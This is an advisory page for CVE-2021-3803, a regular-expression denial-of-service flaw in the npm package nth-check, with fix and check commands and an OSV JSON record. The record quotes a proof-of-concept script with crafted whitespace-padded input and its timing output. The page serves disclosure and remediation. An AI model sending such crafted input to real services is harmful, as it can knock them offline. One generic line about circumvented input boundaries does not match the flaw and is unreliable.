CVE-2021-3803: Nth check Inefficient Regular Expression Complexity Vulnerability
HIGHCVE-2021-3803 is a HIGH (CVSS 7.5) inefficient regular expression complexity vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Nth check libraries in the npm ecosystem. The issue involves inefficient regular expression complexity in nth-check. Remediation is available by upgrading affected packages to version 2.0.1.
CVE-2021-3803 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2021-3803
To remediate this vulnerability, upgrade all affected Nth check dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nth-check@2.0.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nth-check
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2021-3803, inspect your project dependencies using npm:
npm ls nth-check
Analyze the terminal output to locate any version of Nth check in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.1), your application is affected.
Note: The npm ls nth-check command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Nth check, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2021-3803 Affected Nth check Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nth-check
|
npm |
< 2.0.1
|
2.0.1
|
References
Frequently Asked Questions
What is CVE-2021-3803?
Which Nth check versions are affected?
What version fixes CVE-2021-3803?
Is nth-check affected?
What is the CVSS score of CVE-2021-3803?
What CWE is associated with CVE-2021-3803?
How can I check npm dependencies for CVE-2021-3803?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rp65-9cf3-cjxr",
"modified" : "2023-09-13T21:49:54Z",
"published" : "2021-09-20T20:47:31Z",
"aliases" : [ "CVE-2021-3803" ],
"summary" : "Inefficient Regular Expression Complexity in nth-check",
"details" : "There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n var time = Date.now();\n var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n try {\n nthCheck.parse(attack_str) \n }\n catch(err) {\n var time_cost = Date.now() - time;\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nth-check"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.0.1"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-3803"
}, {
"type" : "WEB",
"url" : "https://github.com/fb55/nth-check/commit/9894c1d2010870c351f66c6f6efcf656e26bb726"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/fb55/nth-check"
}, {
"type" : "WEB",
"url" : "https://huntr.dev/bounties/8cf8cc06-d2cf-4b4e-b42c-99fafb0b04d0"
}, {
"type" : "WEB",
"url" : "https://lists.debian.org/debian-lts-announce/2023/05/msg00023.html"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1333" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2021-09-20T20:15:09Z",
"nvd_published_at" : "2021-09-17T07:15:00Z"
}
}